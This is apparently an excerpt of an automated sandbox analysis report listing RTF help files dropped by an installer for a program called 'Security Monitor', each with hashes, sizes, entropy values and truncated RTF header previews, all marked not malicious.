File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9082
Entropy (8bit):	4.946432574686308
Encrypted:	false
SSDEEP:	192:I2KrPDFr222K2a2O2G2y2E2+2L9jn9js9j39jX9jR9jp9j+9j79ja6z6C6D6E6fp:7Q5r222K2a2O2G2y2E2+2L9jn9js9j3u
MD5:	54A49395929B70CCABC6247E0EA0F779
SHA1:	E522282035DAFE7216BF45CC21762172914D5949
SHA-256:	544C05722BA2824B871D8DC37CC442BF791C266F0E90D96C9A06BF3195D90AFA
SHA-512:	8111740D216DC20333574D61B4C3B39288846315B1EC0214E91B9633D5B48AF8EDF51C77432D0D1FAB10B961D81E6AA4ED981661D37E41DF3E9DD05C9B746DB4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Arial CYR;}{\f8\froman\fprq0\fcharset128 Arial CYR;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}{\f15\fnil\fprq2\fcharset128 Cambria Math;}{\f16\fnil\fprq0\fcharset128 Cambria Math;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang104

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-PJHLS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11086
Entropy (8bit):	4.962530121956413
Encrypted:	false
SSDEEP:	192:R2KwSyFd222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jl9ju9jV9j19j/9jX9C:Mrpd222K2a2O2G2y2E2+2L6z6C6D6E6h
MD5:	74D21CC581EFD9F3D31C02D2AD6A7881
SHA1:	701EEEA34850D7EE69EFF56E2344A79A7EAD147E
SHA-256:	9F632C17885E51A74C7875780F422952F1BC64DB978D8EBA765251F692C603E3
SHA-512:	97EC2913358966E62D5D69BD63D0D3C378457BE371702957F25358BAB2DD1C514F92AF769C4FA1A1A4CD3B23F1F7C0358E7B838CC80163CF78775634D4CAC8A4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Tahoma;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f9\fnil\fprq2\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Times New Roman;}{\f12\fnil\fprq0\fcharset128 Courier New Baltic;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af8\langfe2052\dbch\af9\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-RUHIK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9031
Entropy (8bit):	4.942487008032181
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9v:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Q
MD5:	140A646744F5CA2B77DC3CCAB81BE3E9
SHA1:	57D15787E167C9284D0A57DE074749A8A10D6267
SHA-256:	FACA864E826FC4333E1C6D8726C97446A824856214E302B154757A0071BB0666
SHA-512:	F00406EA7C8EDA722707892A86C72A1331F1DEB007A78F34CC27A3B6175D3737AF9DA542F926313644B1CF0D8BAE087529196DBEEC4C7AE6EA3BCD5CE42D0F0F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-SP2VU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	4.965317939103163
Encrypted:	false
SSDEEP:	192:zersYRcg17pzo2uz1FwLcxwSwbzUPhjNAqecUAySMnuturWGi:ZYf7doz1FwLcxwSwnUPhxAqecUAyLuIA
MD5:	83F331C3191915043D3C1F96D04AD2AA
SHA1:	1F5A281457AD229178ADFE68E6ED3C407DD15BA5
SHA-256:	864E70E0CBF1CBB5EF7B65EC5A90D617D299A0C896E17EA6C973BF5D0F44ADA0
SHA-512:	C047F469B1A5BF82D88443D33B1B26AA30B4CB1E5C8A515119B5D62B3D98C4761830761D0813994DAA9BDE86BB7F73ABF47ADDE25A74D6FCEA05D5F0E0E779B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Times New Roman;}{\f8\froman\fprq0\fcharset128 Times New Roman;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq2\fcharset128 Arial;}{\f13\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af9\dbch\af10\afs28\loch\f4\fs28 Intestazione;}.{\s16\sba

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-TJ0TB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40044
Entropy (8bit):	5.023249387110861
Encrypted:	false
SSDEEP:	768:2rF4DO6xByF3LSVj1BgpGk1WhhIHRYRv0lsSTz3BAbZ/6A9u:2raDlZIA9u
MD5:	994EC92B482BB93D1038B2F931B60AA4
SHA1:	130934CF53D1215C4955232421AB44C7CCD1F95B
SHA-256:	9A48D1986A44E9021CE072DE9A9D542357048ABBE6807E4CA151661708969D3C
SHA-512:	5F2424B1B38FC0939FDCF6C29A72067174CB49FC4F97C6CE284570984047B4D5CFBDBB84D63F619DF24B8EAF070FAC3EE71858CD7D9536F5C7920A0AACA895E1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-UILOA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37355
Entropy (8bit):	5.0224273603988925
Encrypted:	false
SSDEEP:	768:2rF4DO6zLpzBMRQ1W7MiynhCGm7aVZ/6A9a:2raD7IA9a
MD5:	72215D6BB69B80AD421E5FBEC9CEE983
SHA1:	4DC407E1BF25A18F3C9B2F2E94440D3A0AC505D8
SHA-256:	0B1A02997F8DC944153BBEA47C302C3A155B1363A2A4F6A23218EB1BA9D1ACD8
SHA-512:	D1F1409D1E0946F84F3D3D3FBBB90BB23195A84402E0DA16A102C62E1198F28AB80046E805A3B4CAAD0B61039E07B57350133F1E0DCB3142A0B2487F1F1174B4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-VPREH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	76355
Entropy (8bit):	4.982630349215747
Encrypted:	false
SSDEEP:	768:KewXZEMuTyIT+TWkN+3vMHRYRv0lTiHRYRv0lTiHRYRv0lHiHRYRv0leUE/lLr/6:KeMEZgIA9C
MD5:	0DD30E30324435D32C3336875F79F308
SHA1:	6F38100EBA73AAD482B1B290FF5C21DD0C3AA692
SHA-256:	D9939A99B67D9267B439373CC44EE14A10432AF1BB3AEB6EBBDDE1839EDCBD99
SHA-512:	62513A5EDAF36F0D69A9519F74795659493A1B0C9B9E662D0AF4C15A7F68043F6C3A2F9231D9C949572D787524448C8F31B4A6AE9D242FB28758BA084C3B9545
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch11\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9082
Entropy (8bit):	4.946432574686308
Encrypted:	false
SSDEEP:	192:I2KrPDFr222K2a2O2G2y2E2+2L9jn9js9j39jX9jR9jp9j+9j79ja6z6C6D6E6fp:7Q5r222K2a2O2G2y2E2+2L9jn9js9j3u
MD5:	54A49395929B70CCABC6247E0EA0F779
SHA1:	E522282035DAFE7216BF45CC21762172914D5949
SHA-256:	544C05722BA2824B871D8DC37CC442BF791C266F0E90D96C9A06BF3195D90AFA
SHA-512:	8111740D216DC20333574D61B4C3B39288846315B1EC0214E91B9633D5B48AF8EDF51C77432D0D1FAB10B961D81E6AA4ED981661D37E41DF3E9DD05C9B746DB4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Arial CYR;}{\f8\froman\fprq0\fcharset128 Arial CYR;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}{\f15\fnil\fprq2\fcharset128 Cambria Math;}{\f16\fnil\fprq0\fcharset128 Cambria Math;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang104

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11858
Entropy (8bit):	4.924418755277587
Encrypted:	false
SSDEEP:	192:F9jmDF3222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6goaB7lE9mNUrloY1gTEzGS:Hq53222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	D6E34C937850FDC0AB38B06FE809B95C
SHA1:	A4480E9E250F5C3DC5BDD69696AB9F6EB12E8A56
SHA-256:	355420286A6BCDB2190129A5507012B55DC41FB0660ACE771D09F6E60FAFA173
SHA-512:	47F77867C8A5746DF79A29ABA70360BB2DF54F41C08B4B15E831421F76F24DC6B6AF0EE837084E5DDED8DAE3B549AD3236B5D668852BF357F990244FCE2E9D05
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Times New Roman;}{\f11\fnil\fprq2\fcharset128 Arial;}{\f12\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red54\green95\blue145;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0\ri0\lin0\rin0\fi0\sb100\sa100\keepn\b\hich\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47653
Entropy (8bit):	5.01810800814238
Encrypted:	false
SSDEEP:	768:2rFexbO6zLpzBDlmvTpIq7GHAR1BgpGk1WhWHi2mM47g0qO2ug04+2WNvg0tQ5qD:2rYbRs7d9ZvIA9t
MD5:	6E75BBD29A0618A73B2937F650F0F678
SHA1:	93EDB94323E37DDD1EC717F4A492442B6B611E3B
SHA-256:	718470BBCEF949095939C54CECB91D117D255A5279D55A204664CE52D1235180
SHA-512:	91C452D52360B231869031CB61255E83AF5D95D0F8C3A2AA0419AF659766E6E1CF4FD16FCE7C85A5EA5164E05C84282D0AA019FCAD85E292BE6D71400FA5D88E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f315\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64122
Entropy (8bit):	5.005532059876539
Encrypted:	false
SSDEEP:	768:2NFM7S0LzLpzBDlmvMuLoPxsMOaWAebaTkPYxmjyzZNBPirmqCadCg0WOxuiOQYX:2N4Sqse5bhHsTs64pPIA98
MD5:	20DED089CE49980F6BA7C2DDFBB4A359
SHA1:	A80EB4246514293DC65C07621B04DB34434DA4FB
SHA-256:	7644F6129405227CC015DC574D41769A25B147A33792008A3BC97D6CA2B31F84
SHA-512:	6863BF40030EE2FA1274103F637F1C8BD0601C5CF9C4EBE6684F13B7F1628B865D7297D464DD623CE50F7C0DFAB9B52CB42E8E6F6843D859469377DBFE68E5B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f43\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000}@Wen

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7640
Entropy (8bit):	4.942902125699651
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y60yM4Nr2R7sB4OYWkXp+Mm:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	58A7AD4E00C3C48CAC983EAB83D93722
SHA1:	16790F7FED7A5490C15C6A25CD9851B4953E4CF0
SHA-256:	AE872798A7D87EFC10BA3FC5FE65CB5539F84548163F6DB7278705CE4802A0D4
SHA-512:	D609EA322D6AEF1C3EF5E38C749B9C9D168F9865111ACB8F2408D752C20CCE5E5658CD08EB5D2FE79E4627FC0290B33B0D73858FCC821A9D9981009E27EA96C1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11086
Entropy (8bit):	4.962530121956413
Encrypted:	false
SSDEEP:	192:R2KwSyFd222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jl9ju9jV9j19j/9jX9C:Mrpd222K2a2O2G2y2E2+2L6z6C6D6E6h
MD5:	74D21CC581EFD9F3D31C02D2AD6A7881
SHA1:	701EEEA34850D7EE69EFF56E2344A79A7EAD147E
SHA-256:	9F632C17885E51A74C7875780F422952F1BC64DB978D8EBA765251F692C603E3
SHA-512:	97EC2913358966E62D5D69BD63D0D3C378457BE371702957F25358BAB2DD1C514F92AF769C4FA1A1A4CD3B23F1F7C0358E7B838CC80163CF78775634D4CAC8A4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Tahoma;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f9\fnil\fprq2\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Times New Roman;}{\f12\fnil\fprq0\fcharset128 Courier New Baltic;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af8\langfe2052\dbch\af9\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	17786
Entropy (8bit):	4.892369802650086
Encrypted:	false
SSDEEP:	384:TQ5h222K2a2O2G2y2E2+2L6z+CSD6E+fSE6O+YSY6z+CSD6E+fSE6O+YSS6z6C6w:TQ5h7HvTrbVLWsXixqh/1JsXixqh/1X+
